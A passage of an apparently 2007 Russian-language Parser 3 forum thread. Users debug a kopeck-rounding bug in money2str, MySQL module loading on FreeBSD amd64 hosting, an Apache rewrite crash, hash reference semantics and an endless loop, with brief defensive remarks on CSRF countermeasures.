Чай, кофе, какао, молоко, сахар, печенье предоставляется.\
\
писать на tmm где-то на madgroup.ru\
или в icq:776166"
"59399","Вызываю ^money2str в качестве параметра число с копейками, например 21.60\
пишет рубли правильно а копеек 59 копеек?"
"59401","нельзя.\
это уже байткод.\
\
в теории, кто-то может написать дизассемблер для парсерного байткода, прикрутить его к parser'у, и сделать то, что вы пишете, что хотите.\
\
вероятно, вы не хотите этого буквально, а нужно что-то другое. что?"
"59402","какой-то вы незнакомый log привели.."
"59403","Очень-очень странно, но периодически ошибался апач на правило\
\
[code]RewriteCond	%{REQUEST_URI}	(.*/[^/.]+)($|\\?)\
RewriteRule	.*	%1/	[R,L,QSA][/code]\
\
Вылетал, оставлял pid и гадил в логи. Всё. Ничерта не ясно.\
\
Закомментил правило — всё нормал...\
\
Драный jserv..."
"59404","Нужно было для debug-класса. Т.е. класс бы сам занимался определение того, что нужно показать подробнее.\
\
Я пораскинул и решил, что это реально зло.\
\
Правильнее писать встроенный класс debug в Парсер, который бы занимался сбором нужной информации."
"59405","[code]$tempaaa(^eval($totalsumma)[%12.2f])\
#Результат вывода: $tempaaa = 18201.6 \
<td colspan=7><b>Всего к оплате: </b> ^int2str:money2str(^eval($totalsumma)[%12.2f])</td>\
#Результат вывода: Восемнадцать тысяч двести один рубль 59 копеек\
<td align=right><b>^Lib:number_format[^eval($totalsumma)[%12.2f];;;2]</b></td>\
#Результат вывода: 18 201,60\
[/code]\
\
Parser последний, int2str тоже. В чем может быть загвоздка?\
\
p.s.\
Выкручиваюсь я так: меняю строчку\
[code]\
@money2str[amount;valuta][rub;cop;res]\
#всего копеек\
	$cop($amount*100)\
[/code]\
на \
[code]\
@money2str[amount;valuta][rub;cop;res]\
#всего копеек\
	$cop(^math:round($amount*100))\
[/code]\
и все получается как надо, 60 копеек."
"59406","Я пытаюсь поставить Парсер3 на хостинге Majordomo. Скачал и поставил парсер под FreeBSD6. Вылетает ошибка при загрузке мускульного модуля: can't open the module. Пути к модулю прописаны правильно. Я написал в суппорт, вот что мне ответили:\
> На сервере установлена ОС FreeBSD 6.2, с архитектурой процессора amd64, скачайте версию парсера для данной ОС и под архитектуру amd64.\
Вот где можно скачать версию под такую архитектуру? На сайте парсера не нашел."
"59407","В ходе эксплуатации выяснилась пара моментов:\
\
- скрипту будет гораздо лучше, если вы попросите суппорт установить также модули Перла Math::BigInt::GMP и Math::Pari. Это [i]бинарные[/i] модули для выполнения математических операций, которые летают гораздо быстрее кода, написанного на Perl. Работать всё будет и без них, но медленнее, и засоряя лог вебсервера warning'ами.\
\
- в имени домена, согласно стандартам, нельзя употреблять символ подчёркивания. Поэтому если вы будете авторизовать по OpenID ЖЖ-пользователя http://username_.livejournal.com, то ответ придёт в неожиданной форме http://www.livejournal.com/users/username_\
\
Если же авторизуеся пользователь с логином без этого символа (например, \"http://username.livejournal.com\"), ответ вернётся в традиционной форме, http://username.livejournal.com\
\
Будьте готовы обработать в своём коде обе ситуации."
"59408","судя по опыту можно добиться работоспособности 32-битной версии парсера + 32 битного mysql драйвера + нужно найти и использовать 32-битную libmysqlclient (32-битный драйвер не может работать с 64-битной клиентсвой библиотекой)"
"59409","[code]\
$var(1)\
^while($var<9999999999){ \
	^eval($var)[%.2f] ^int2str:money2str(^eval($var)[%.2f])\
	$var($var*1.1)\
}[<br>]\
[/code]\
\
Вывод (неправильные копейки жирным, что разглядел)\
1.00 Один рубль 0 копеек \
1.10 Один рубль 10 копеек \
1.21 Один рубль 21 копейка \
1.33 Один рубль 33 копейки \
1.46 Один рубль 46 копеек \
1.61 Один рубль 61 копейка \
1.77 Один рубль 77 копеек \
1.95 Один рубль 95 копеек \
2.14 Два рубля 14 копеек \
2.36 Два рубля 36 копеек \
2.59 Два рубля 59 копеек \
2.85 Два рубля 85 копеек \
3.14 Три рубля 14 копеек \
3.45 Три рубля 45 копеек \
3.80 Три рубля 80 копеек \
4.18 Четыре рубля 18 копеек \
4.59 Четыре рубля 59 копеек \
5.05 Пять рублей 5 копеек \
5.56 Пять рублей 56 копеек \
6.12 Шесть рублей 12 копеек \
6.73 Шесть рублей 73 копейки \
7.40 Семь рублей 40 копеек \
8.14 Восемь рублей 14 копеек \
[b]8.95 Восемь рублей 94 копейки [/b]\
9.85 Девять рублей 85 копеек \
10.83 Десять рублей 83 копейки \
11.92 Одиннадцать рублей 92 копейки \
13.11 Тринадцать рублей 11 копеек \
14.42 Четырнадцать рублей 42 копейки \
15.86 Пятнадцать рублей 86 копеек \
17.45 Семнадцать рублей 45 копеек \
19.19 Девятнадцать рублей 19 копеек \
21.11 Двадцать один рубль 11 копеек \
23.23 Двадцать три рубля 23 копейки \
25.55 Двадцать пять рублей 55 копеек \
28.10 Двадцать восемь рублей 10 копеек \
30.91 Тридцать рублей 91 копейка \
34.00 Тридцать четыре рубля 0 копеек \
37.40 Тридцать семь рублей 40 копеек \
41.14 Сорок один рубль 14 копеек \
45.26 Сорок пять рублей 26 копеек \
49.79 Сорок девять рублей 79 копеек \
54.76 Пятьдесят четыре рубля 76 копеек \
60.24 Шестьдесят рублей 24 копейки \
66.26 Шестьдесят шесть рублей 26 копеек \
72.89 Семьдесят два рубля 89 копеек \
80.18 Восемьдесят рублей 18 копеек \
88.20 Восемьдесят восемь рублей 20 копеек \
97.02 Девяносто семь рублей 2 копейки \
106.72 Сто шесть рублей 72 копейки \
117.39 Сто семнадцать рублей 39 копеек \
129.13 Сто двадцать девять рублей 13 копеек \
142.04 Сто сорок два рубля 4 копейки \
156.25 Сто пятьдесят шесть рублей 25 копеек \
171.87 Сто семьдесят один рубль 87 копеек \
189.06 Сто восемьдесят девять рублей 6 копеек \
207.97 Двести семь рублей 97 копеек \
228.76 Двести двадцать восемь рублей 76 копеек \
251.64 Двести пятьдесят один рубль 64 копейки \
276.80 Двести семьдесят шесть рублей 80 копеек \
304.48 Триста четыре рубля 48 копеек \
334.93 Триста тридцать четыре рубля 93 копейки \
368.42 Триста шестьдесят восемь рублей 42 копейки \
405.27 Четыреста пять рублей 27 копеек \
445.79 Четыреста сорок пять рублей 79 копеек \
490.37 Четыреста девяносто рублей 37 копеек \
539.41 Пятьсот тридцать девять рублей 41 копейка \
593.35 Пятьсот девяносто три рубля 35 копеек \
[b]652.68 Шестьсот пятьдесят два рубля 67 копеек [/b]\
717.95 Семьсот семнадцать рублей 95 копеек \
789.75 Семьсот восемьдесят девять рублей 75 копеек \
868.72 Восемьсот шестьдесят восемь рублей 72 копейки \
955.59 Девятьсот пятьдесят пять рублей 59 копеек \
1051.15 Одна тысяча пятьдесят один рубль 15 копеек \
1156.27 Одна тысяча сто пятьдесят шесть рублей 27 копеек \
1271.90 Одна тысяча двести семьдесят один рубль 90 копеек \
1399.08 Одна тысяча триста девяносто девять рублей 8 копеек \
1538.99 Одна тысяча пятьсот тридцать восемь рублей 99 копеек \
1692.89 Одна тысяча шестьсот девяносто два рубля 89 копеек \
1862.18 Одна тысяча восемьсот шестьдесят два рубля 18 копеек \
2048.40 Две тысячи сорок восемь рублей 40 копеек \
[b]2253.24 Две тысячи двести пятьдесят три рубля 23 копейки [/b]\
2478.56 Две тысячи четыреста семьдесят восемь рублей 56 копеек \
2726.42 Две тысячи семьсот двадцать шесть рублей 42 копейки \
2999.06 Две тысячи девятьсот девяносто девять рублей 6 копеек \
3298.97 Три тысячи двести девяносто восемь рублей 97 копеек \
3628.87 Три тысячи шестьсот двадцать восемь рублей 87 копеек \
3991.75 Три тысячи девятьсот девяносто один рубль 75 копеек \
4390.93 Четыре тысячи триста девяносто рублей 93 копейки \
4830.02 Четыре тысячи восемьсот тридцать рублей 2 копейки \
5313.02 Пять тысяч триста тринадцать рублей 2 копейки \
5844.32 Пять тысяч восемьсот сорок четыре рубля 32 копейки \
6428.76 Шесть тысяч четыреста двадцать восемь рублей 76 копеек \
7071.63 Семь тысяч семьдесят один рубль 63 копейки \
7778.80 Семь тысяч семьсот семьдесят восемь рублей 80 копеек \
8556.68 Восемь тысяч пятьсот пятьдесят шесть рублей 68 копеек \
9412.34 Девять тысяч четыреста двенадцать рублей 34 копейки \
10353.58 Десять тысяч триста пятьдесят три рубля 58 копеек \
11388.94 Одиннадцать тысяч триста восемьдесят восемь рублей 94 копейки \
12527.83 Двенадцать тысяч пятьсот двадцать семь рублей 83 копейки \
13780.61 Тринадцать тысяч семьсот восемьдесят рублей 61 копейка \
15158.67 Пятнадцать тысяч сто пятьдесят восемь рублей 67 копеек \
16674.54 Шестнадцать тысяч шестьсот семьдесят четыре рубля 54 копейки \
18342.00 Восемнадцать тысяч триста сорок два рубля 0 копеек \
[b]20176.19 Двадцать тысяч сто семьдесят шесть рублей 18 копеек [/b]\
22193.81 Двадцать две тысяч сто девяносто три рубля 81 копейка \
24413.20 Двадцать четыре тысяч четыреста тринадцать рублей 20 копеек \
26854.51 Двадцать шесть тысяч восемьсот пятьдесят четыре рубля 51 копейка \
29539.97 Двадцать девять тысяч пятьсот тридцать девять рублей 97 копеек \
[b]32493.96 Тридцать две тысяч четыреста девяносто три рубля 96 копеек [/b]\
35743.36 Тридцать пять тысяч семьсот сорок три рубля 36 копеек \
[b]39317.70 Тридцать девять тысяч триста семнадцать рублей 69 копеек [/b]\
43249.46 Сорок три тысяч двести сорок девять рублей 46 копеек \
47574.41 Сорок семь тысяч пятьсот семьдесят четыре рубля 41 копейка \
52331.85 Пятьдесят две тысяч триста тридцать один рубль 85 копеек \
57565.04 Пятьдесят семь тысяч пятьсот шестьдесят пять рублей 4 копейки \
63321.54 Шестьдесят три тысяч триста двадцать один рубль 54 копейки \
69653.70 Шестьдесят девять тысяч шестьсот пятьдесят три рубля 70 копеек \
76619.07 Семьдесят шесть тысяч шестьсот девятнадцать рублей 7 копеек \
84280.97 Восемьдесят четыре тысяч двести восемьдесят рублей 97 копеек \
92709.07 Девяносто две тысяч семьсот девять рублей 7 копеек \
101979.98 Сто одна тысяча девятьсот семьдесят девять рублей 98 копеек \
112177.97 Сто двенадцать тысяч сто семьдесят семь рублей 97 копеек \
123395.77 Сто двадцать три тысяч триста девяносто пять рублей 77 копеек \
135735.35 Сто тридцать пять тысяч семьсот тридцать пять рублей 35 копеек \
149308.88 Сто сорок девять тысяч триста восемь рублей 88 копеек \
[b]164239.77 Сто шестьдесят четыре тысяч двести тридцать девять рублей 76 копеек [/b]\
180663.75 Сто восемьдесят тысяч шестьсот шестьдесят три рубля 75 копеек \
198730.12 Сто девяносто восемь тысяч семьсот тридцать рублей 12 копеек \
218603.13 Двести восемнадцать тысяч шестьсот три рубля 13 копеек \
240463.45 Двести сорок тысяч четыреста шестьдесят три рубля 45 копеек \
[b]264509.79 Двести шестьдесят четыре тысяч пятьсот девять рублей 78 копеек [/b]\
290960.77 Двести девяносто тысяч девятьсот шестьдесят рублей 77 копеек \
[b]320056.85 Триста двадцать тысяч пятьдесят шесть рублей 84 копейки [/b]\
352062.53 Триста пятьдесят две тысяч шестьдесят два рубля 53 копейки \
387268.79 Триста восемьдесят семь тысяч двести шестьдесят восемь рублей 79 копеек \
425995.67 Четыреста двадцать пять тысяч девятьсот девяносто пять рублей 67 копеек \
468595.23 Четыреста шестьдесят восемь тысяч пятьсот девяносто пять рублей 23 копейки \
515454.76 Пятьсот пятнадцать тысяч четыреста пятьдесят четыре рубля 76 копеек \
567000.23 Пятьсот шестьдесят семь тысяч рублей 23 копейки \
623700.26 Шестьсот двадцать три тысяч семьсот рублей 26 копеек \
686070.28 Шестьсот восемьдесят шесть тысяч семьдесят рублей 28 копеек \
754677.31 Семьсот пятьдесят четыре тысяч шестьсот семьдесят семь рублей 31 копейка \
830145.04 Восемьсот тридцать тысяч сто сорок пять рублей 4 копейки \
913159.54 Девятьсот тринадцать тысяч сто пятьдесят девять рублей 54 копейки \
1004475.50 Один миллион четыре тысячи четыреста семьдесят пять рублей 50 копеек \
1104923.05 Один миллион сто четыре тысячи девятьсот двадцать три рубля 5 копеек \
1215415.35 Один миллион двести пятнадцать тысяч четыреста пятнадцать рублей 35 копеек \
[b]1336956.89 Один миллион триста тридцать шесть тысяч девятьсот пятьдесят шесть рублей 88 копеек [/b]\
1470652.58 Один миллион четыреста семьдесят тысяч шестьсот пятьдесят два рубля 58 копеек \
1617717.84 Один миллион шестьсот семнадцать тысяч семьсот семнадцать рублей 84 копейки \
1779489.62 Один миллион семьсот семьдесят девять тысяч четыреста восемьдесят девять рублей 62 копейки \
1957438.58 Один миллион девятьсот пятьдесят семь тысяч четыреста тридцать восемь рублей 58 копеек \
2153182.44 Два миллиона сто пятьдесят три тысяч сто восемьдесят два рубля 44 копейки \
2368500.68 Два миллиона триста шестьдесят восемь тысяч пятьсот рублей 68 копеек \
2605350.75 Два миллиона шестьсот пять тысяч триста пятьдесят рублей 75 копеек \
2865885.83 Два миллиона восемьсот шестьдесят пять тысяч восемьсот восемьдесят пять рублей 83 копейки \
3152474.41 Три миллиона сто пятьдесят две тысяч четыреста семьдесят четыре рубля 41 копейка \
3467721.85 Три миллиона четыреста шестьдесят семь тысяч семьсот двадцать один рубль 85 копеек \
3814494.04 Три миллиона восемьсот четырнадцать тысяч четыреста девяносто четыре рубля 4 копейки \
4195943.44 Четыре миллиона сто девяносто пять тысяч девятьсот сорок три рубля 44 копейки \
4615537.78 Четыре миллиона шестьсот пятнадцать тысяч пятьсот тридцать семь рублей 78 копеек \
[b]5077091.56 Пять миллионов семьдесят семь тысяч девяносто один рубль 55 копеек [/b]\
5584800.72 Пять миллионов пятьсот восемьдесят четыре тысяч восемьсот рублей 72 копейки \
6143280.79 Шесть миллионов сто сорок три тысяч двести восемьдесят рублей 79 копеек \
6757608.87 Шесть миллионов семьсот пятьдесят семь тысяч шестьсот восемь рублей 87 копеек \
7433369.75 Семь миллионов четыреста тридцать три тысяч триста шестьдесят девять рублей 75 копеек \
8176706.73 Восемь миллионов сто семьдесят шесть тысяч семьсот шесть рублей 73 копейки \
8994377.40 Восемь миллионов девятьсот девяносто четыре тысяч триста семьдесят семь рублей 40 копеек \
9893815.14 Девять миллионов восемьсот девяносто три тысяч восемьсот пятнадцать рублей 14 копеек \
10883196.66 Десять миллионов восемьсот восемьдесят три тысяч сто девяносто шесть рублей 66 копеек \
11971516.32 Одиннадцать миллионов девятьсот семьдесят одна тысяч пятьсот шестнадцать рублей 32 копейки \
13168667.96 Тринадцать миллионов сто шестьдесят восемь тысяч шестьсот шестьдесят семь рублей 96 копеек \
14485534.75 Четырнадцать миллионов четыреста восемьдесят пять тысяч пятьсот тридцать четыре рубля 75 копеек \
15934088.23 Пятнадцать миллионов девятьсот тридцать четыре тысяч восемьдесят восемь рублей 23 копейки \
17527497.05 Семнадцать миллионов пятьсот двадцать семь тысяч четыреста девяносто семь рублей 5 копеек \
19280246.76 Девятнадцать миллионов двести восемьдесят тысяч двести сорок шесть рублей 76 копеек \
21208271.43 Двадцать один миллионов двести восемь тысяч двести семьдесят один рубль 43 копейки \
23329098.57 рублей -39 копеек \
25662008.43 рублей -53 копеек \
28228209.27 рублей -69 копеек \
31051030.20 рублей -76 копеек \
34156133.22 рублей -74 копеек \
37571746.54 рублей -42 копеек \
41328921.20 рублей -76 копеек \
45461813.32 Два миллиона пятьсот двенадцать тысяч сто сорок рублей 36 копеек \
50007994.65 Семь миллионов пятьдесят восемь тысяч триста двадцать один рубль 69 копеек \
55008794.11 Двенадцать миллионов пятьдесят девять тысяч сто двадцать один рубль 15 копеек \
60509673.53 Семнадцать миллионов пятьсот шестьдесят тысяч рублей 57 копеек \
66560640.88 рублей -4 копеек \
73216704.97 рублей -95 копеек \
80538375.46 рублей -47 копеек \
88592213.01 Два миллиона шестьсот девяносто две тысяч восемьсот шестьдесят семь рублей 9 копеек \
97451434.31 Одиннадцать миллионов пятьсот пятьдесят две тысяч восемьдесят восемь рублей 39 копеек \
107196577.74 Двадцать один миллионов двести девяносто семь тысяч двести тридцать один рубль 82 копейки \
117916235.52 рублей -36 копеек \
129707859.07 Восемьсот пятьдесят восемь тысяч восемьсот сорок рублей 19 копеек \
142678644.97 Тринадцать миллионов восемьсот двадцать девять тысяч шестьсот двадцать шесть рублей 9 копеек \
156946509.47 рублей -37 копеек \
172641160.42 Восемьсот сорок две тысяч четыреста шестьдесят восемь рублей 58 копеек \
189905276.46 Восемнадцать миллионов сто шесть тысяч пятьсот восемьдесят четыре рубля 62 копейки \
208895804.11 рублей -69 копеек \
229785384.52 Пятнадцать миллионов тридцать семь тысяч девятнадцать рублей 72 копейки \
252763922.97 рублей -79 копеек \
278040315.27 Двадцать миллионов триста сорок две тысяч двести семьдесят семь рублей 51 копейка \
305844346.79 Пять миллионов сто девяносто шесть тысяч шестьсот тридцать шесть рублей 7 копеек \
336428781.47 рублей -21 копеек \
370071659.62 рублей -2 копеек \
407078825.58 Двадцать миллионов пятьсот тридцать одна тысяч семьсот шестьдесят восемь рублей 94 копейки \
447786708.14 Восемнадцать миллионов двести восемьдесят девять тысяч девятьсот семьдесят восемь рублей 54 копейки \
492565378.95 Двадцать миллионов сто восемнадцать тысяч девятьсот семьдесят шесть рублей 39 копеек \
541821916.85 рублей -63 копеек \
596004108.53 рублей -91 копеек \
655604519.39 Одиннадцать миллионов триста пятьдесят девять тысяч четыреста двадцать четыре рубля 99 копеек \
721164971.32 рублей 0 копеек \
793281468.46 Двадцать миллионов сто восемьдесят семь тысяч триста пятьдесят пять рублей 18 копеек \
872609615.30 Тринадцать миллионов шестьсот шестнадцать тысяч сто пятьдесят шесть рублей 10 копеек \
959870576.83 Четырнадцать миллионов девятьсот семьдесят семь тысяч семьсот семьдесят один рубль 71 копейка \
1055857634.52 рублей -48 копеек \
1161443397.97 Один миллион восемьсот две тысячи двести двадцать восемь рублей 5 копеек \
1277587737.76 рублей -4 копеек \
1405346511.54 рублей -14 копеек \
1545881162.69 рублей -87 копеек \
1700469278.96 рублей -44 копеек \
1870516206.86 рублей -38 копеек \
2057567827.55 рублей -53 копеек \
2263324610.30 рублей -58 копеек \
2489657071.33 рублей -35 копеек \
2738622778.47 рублей -98 копеек \
3012485056.31 Шесть миллионов семь тысяч девятьсот сорок девять рублей 11 копеек \
3313733561.94 Шесть миллионов шестьсот восемь тысяч семьсот сорок четыре рубля 2 копейки \
3645106918.14 рублей -46 копеек \
4009617609.95 Пятнадцать миллионов двести девяносто восемь тысяч двадцать четыре рубля 67 копеек \
4410579370.95 рублей -93 копеек \
4851637308.04 рублей -44 копеек \
5336801038.84 Одиннадцать миллионов сорок одна тысяч пятьсот девяносто один рубль 80 копеек \
5870481142.73 рублей -79 копеек \
6457529257.00 Пятнадцать миллионов семьдесят восемь тысяч триста тринадцать рублей 0 копеек \
7103282182.70 Шестнадцать миллионов пятьсот восемьдесят шесть тысяч сто сорок четыре рубля 30 копеек \
7813610400.97 рублей -75 копеек \
8594971441.07 Пять миллионов тридцать шесть тысяч восемьсот сорок девять рублей 7 копеек \
9454468585.18 Пять миллионов пятьсот сорок тысяч пятьсот тридцать три рубля 98 копеек"
"59410","Я сталкивался, с этим на majordomo, написал в саппорт, они пытались собрать. Но что-то не заработало, в итоге я попросил, что бы меня перевели на Intel, так как не мог ждать, нужно было сдавать проект. \
PS если найдешь решение, напиши здесь."
"59411","радости double + .int делает trunc, а не round.\
\
сделайте так:\
http://www.parser.ru/forum/?id=47826\
\
\
+ измените\
	$rub($cop\\100)\
на\
	$rub(^math:trunc($cop/100))\
- переполнение будет наступать позже\
\
+ измените\
		$n($n\\1000)\
на\
		$n(^math:trunc($n/1000))\
\
\
P.S. класс подправлю"
"59412","[Wed Mar 14 15:50:20 2007] [error] [client 212.248.25.52] (36)Resource deadlock avoided: mod_rewrite: failed to lock file descriptor\
[Wed Mar 14 15:50:20 2007] [crit] (10038)Сделана попытка выполнить операцию на объекте, не являющемся сокетом: Parent: WSADuplicateSocket failed for socket 192.\
[Wed Mar 14 15:50:20 2007] [error] (2)No such file or directory: master_main: create child process failed. Exiting.\
[Wed Mar 14 15:51:20 2007] [error] forcing termination of child #0 (handle 772)"
"59413","[Wed Mar 14 16:40:54 2007] [error] forcing termination of child #0 (handle 828)"
"59414","Насколько понимаю, 32 разрядные версии - это те которые сейчас лежат на сайте в Download ? Я с них и начал, выдает ошибку \"can't open the module\". А ведь это же ошибка когда Parser не может запустить даже свой MySQL драйвер? То есть до запуска libmysqlclient даже не доходит."
"59416","P.S. можно попробовать поставить собранное пользователями, в частности для freebsd 5.5 собранные с данными ключиками"
"59417","Да... это тоже вариант, но я не хотел так делать... изначально тоже про него думал... У меня всё в цикле делается, и не хотелось через каждые 3 строчки менять JS и HTML в перемешку... \
\
В данном случае, я задал переменные в JS... и явно их про эскейпил (taint)... ;) и присвоение идет как document.getElementById(\"container\").innerHTML=option1;\
\
Но всё-равно спасибо, PAF, твой вариант тоже очень хорош... ;)"
"59419","Задача:\
Студии TeleType (http://www.teletype.ru/) требуется программист сайтов на постоянную работу в офисе.\
\
Требования:\
— Необходимо владеть (в порядке незначимости): Parser 3, XML+XSLT, Parser2;\
— Необходимо иметь опыт работы в данной сфере;\
— Необходимо разбираться в «чужом коде» (это для «профессионалов»);\
— Необходимо прислать рассказ о себе и о ваших работах Дохову Алексею (dokhov[^]teletype.ru) или Шипилову Андрею (tezro[^]teletype.ru)."
"59421","пожалуйста, приводите сообщения об ошибках полностью.\
вам ведь не жалко пары лишних букв copy/paste?"
"59422","/home/u9755/russiatravelgui/matisov/htdocs/main/cgi-bin/lib/libparser3mysql.so /usr/local/lib/mysql/libmysqlclient.so.14\
\
can't open the module\
\
/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(21:2)\
connect	/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(21:2)\
connectDB	/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(62:9)\
if	/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(59:2)\
_sql	/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(42:8)\
switch	/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(28:4)\
code	/home/u9755/russiatravelgui/matisov/htdocs/main/class/lib.p(42:12)\
if	/home/u9755/russiatravelgui/matisov/htdocs/main/class/lib.p(6:2)\
runTime	/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(27:2)\
sql	/home/u9755/russiatravelgui/matisov/htdocs/main/class/sql.p(81:10)\
table	/home/u9755/russiatravelgui/matisov/htdocs/main/auto.p(31:17)\
tmp	/home/u9755/russiatravelgui/matisov/htdocs/main/auto.p(31:4)\
try	/home/u9755/russiatravelgui/matisov/htdocs/main/auto.p(23:2)\
\
\
Страница, где возникает это сообщение об ошибке, доступна по адресу http://matisov.russiatravelguide.org/hotel/\
Пути прописаны правильно, я пробовал через passthrough() делать cat на файле драйвера по этому пути, все находbтся. Ошибка я так понимаю связана именно с невозможностью Парсера загрузить свой же мускульный модуль. И до загрузки mysqlclient дело уже не доходит.\
\
Вообще если честно, странно. Парсер ведь тоже является двоичным исполняемым файлом, и он работает. Следовательно парсер нормально исполняется под архитектурой FreeBSD ADM64...."
"59424","[i]Здравствуйте!\
\
Есть сайт. \
\
В корне сайта[/i] auto.p [i]с методом[/i] @paging[], [i]в нём — код. В коде вызов метода[/i] ^naming[].\
\
[i]Есть некая страница[/i] index.html [i]на сайте, в которой:[/i]\
\
^paging[]\
\
@naming[]\
Заголовок и прочее\
\
[i]Всё это приводит к [/i]\
\
Unhandled Exception (parser.compile)\
z:/home/parser/www/made/index.html(2:1): syntax error, unexpected '@', expecting $end\
\
[i]Если[/i] naming [i]убрать, то всё работает[/i]."
"59426","[code]\
@main[]\
^paging[]\
\
@naming[]\
[/code]"
"59427","Спасибо! Заработало, но в уроке\
\
В начале auto.p пишем: \
\
@main[] \
^header[] \
^body[] \
^footer[] \
\
А у меня получается @main[] в index.html"
"59428","А у вас он начинается с ^paging[]\
\
Прочтите внимательно http://www.parser.ru/docs/lang/mainclass.htm"
"59429","[i]Есть код:[/i]\
\
$nn[^naming[]]\
$images_t[К]\
\
$nn\
$images_t\
\
^while($nn ne $images_t){ \
$images_t[Сферы]\
}\
\
[i]Получаем:[/i] endless loop detected\
\
[i]Если убрать[/i] ^while, [i]то ошибки нет, и выдаётся[/i] Сферы [i]и[/i] К (\"Сферы\" в ^naming[])\
\
[i]Если[/i] $nn[Сферы], [i]то цикл работает как и положено. Ошибки нет.[/i]\
\
[i]Получается, что причина ошибки где-то между передачей параметра[/i] Сферы…"
"59430","@main[]\
^paging_in[]\
^footing[]\
\
@naming[]\
Сферы"
"59431","Вот такой пример:\
[code]$hash_for_adding[ $.val[VALUE] $.desc[DESC] $.txt[TEXT]]\
$newhash[\
	$hash_for_adding\
	$.name[NAME]\
	$.url[URL]\
]\
^hash_for_adding.foreach[k;v]{\
	$k - $v\
}[<br>][/code]\
\
В результате получилось:\
val - VALUE \
name - NAME \
desc - DESC \
url - URL \
txt - TEXT\
\
т.е. в $hash_for_adding добавились новые поля! это так задумано?"
"59432","http://www.securitylab.ru/analytics/292473.php\
\
изучал кто-нибудь?"
"59433","Сам себе и отвечаю :)\
в результате операции $newhash получается не копией, а ссылкой на $hash_for_adding, поэтому в него добавляются новые поля...\
\
надо было сделать так:\
\
[code]$newhash[\
	^hash::create[$hash_for_adding]\
	$.name[NAME]\
	$.url[URL]\
][/code]"
"59434","в парсере вы работаете с объектом по ссылке всегда, когда явно не сказали иначе.\
\
тем не менее подобное поведение конструкции:\
[code]\
$newhash[\
	$hash_for_adding\
	$.name[NAME]\
	$.url[URL]\
]\
[/code]\
очень неочевидно (я тоже долго не мог понять происходящего первый раз), более того если её написать например так:\
[code]\
$newhash[\
	$.name[NAME]\
	$.url[URL]\
	$hash_for_adding\
]\
[/code]\
то вообще будет ошибка.\
\
этот момент пока нужно только запомнить и не использовать, или обходить с помощью ^hash::create[]"
"59436","Чтобы атака состоялась, надо заманить авторизованного юзера на нужную страницу и знать, по какому URL с какими параметрами можно отправить деструктивный запрос.\
\
Если у вас ситуация, когда ядерный реактор управляется вебинтерфейсом, можно накрутть дополнительную защиту. В иных случаях не стоит заморачиваться.\
\
Из мер противодействия сразу придумалось:\
- вставлять в формы ^math:md5[текущее время + секретная фраза] и не принимать формы, заполненные более, чем 5 минут назад\
- вставить дополнительный шаг перед деструктивным действием - страничку \"вы уверены?\". Кнопку на второй странице нажать злоумышленнику уже не получится."
"59437","ничего подобного не получается.\
\
ваш код:\
[code]\
^while($nn ne $images_t){ \
	$images_t[Сферы]\
}\
[/code]\
есть бесконечный цикл в случае, если перед его началом в $nn было что-то отличное от 'Сферы'. вот парсер и зацикливается, о чем он вам и сообщает после того как обнаруживает это."
"59439","1. похоже, в auto.p между \
libparser3mysql.so\
и\
/usr/local/lib/mysql/libmysqlclient.so.14\
у вас пробел(ы), а не tab.\
поэтому вы видите такое (неправильное) сообщение об ошибке.\
\
2. бинарник и .so в смысле эмуляции — разные вещи.\
32bit бинарник в режиме эмуляции на 64bit OS может запуститься, и 32bit libparser3mysql.so к нему успешно присоединится.\
однако границу 32->64 при вызове функции из .so перейти, понятно, нельзя, поэтому дальше (после того, как разберёмся с пунктом 1) вы получите уже следующее сообщение, которое будет выглядеть так: \"driver failed to initialize client library\", что будет означать, что осталось найти 32bit драйвер mysql.\
\
т.е. либо всё 32bit, либо всё 64bit."
"59440","Уважаемый hs_sergey, свяжитесь пожалуйста со мной. Есть предложения и вопросы. nik(собака)studiomade.ru"
"59441","Если имеется в виду ссылка \"FreeBSD 5.5: Parser 3.2.1sp2 + MySQL драйвер [прислал Андрей Шипилов]\" - я пробовал ее поставить. В этом случае даже сам парсер не запускается, выдается ошибка HTTP 500."
"59442","Спасибо! У меня видимо редактор заменил tab на пробелы, а я этого не заметил. Теперь сам модуль запускается, а выдается сообщение о невозможности загрузить mysql client:\
driver failed to initialize client library '/usr/local/lib/mysql/libmysqlclient.so.14', can't open the module\
Ну здесь я так понял надо найти 32 разрядную версию libmysqlclient, попробую поискать..."
"59443","просто означает \"почитайте FAQ и напишите сюда по шагам\"."
"59444","Цикл выполняется пока условие истинно, в данном случае условие несоответсвия истинно. \
\
Какая тогда разница, что там было в $nn до цикла, главное, чтобы не совпадало.\
\
Видимо Вы что-то другое хотели сказать?"
"59445","У вас условие [b]всегда[/b] истинно, т.к. в теле цикла вы не изменяете переменную, задействованную в условии."
"59447","http://www.parser.ru/forum/?id=57923"
"59448","Извините за оффтоп:) \
\
Выражаю огромную благодарность создателям Parser за тот кайф, который я, несмотря на свой скромный опыт в программировании, испытал за последние дни работая с Parser.\
\
Спасибо!\
\
P. S. Наконец-то больше не надо мучиться с PHP, особенно с точками, которые разделяют переменную и код…"
"59450","Здравствуйте.\
Есть хостинг 100mb.ru, ставлю на него парсер.\
При установке стандартного парсера под 4х в логах пишется вот такое:\
/usr/libexec/ld-elf.so.1: /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"__h_error\"\
[Fri Mar 16 17:51:30 2007] [error] [client 82.204.246.206] Premature end of script headers: /hsphere/local/home/h2www66/zinc.ru/cgi-bin/parser3.cgi\
\
Попробовал поставить из раздела \"скачать\" FreeBSD 5.5: Parser 3.2.1sp2 + MySQL драйвер, появилась другая проблема:\
/libexec/ld-elf.so.1: Shared object \"libxslt.so.2\" not found, required by \"parser-3.2.1-xml-freebsd5.5.cgi\"\
[Fri Mar 16 17:56:13 2007] [error] [client 80.86.251.102] Premature end of script headers: /hsphere/local/home/h2www66/zinc.ru/cgi-bin/parser-3.2.1-xml-freebsd5.5.cgi\
\
http://www1.100mb.ru/t.php здесь конфигурация хостинга, там вроде как показано, что установлена libxslt версии 1.1.16. \
\
Помогите, рвут на части.\
\
PS: может есть скомпиленная под 5.5 версия без xml?"
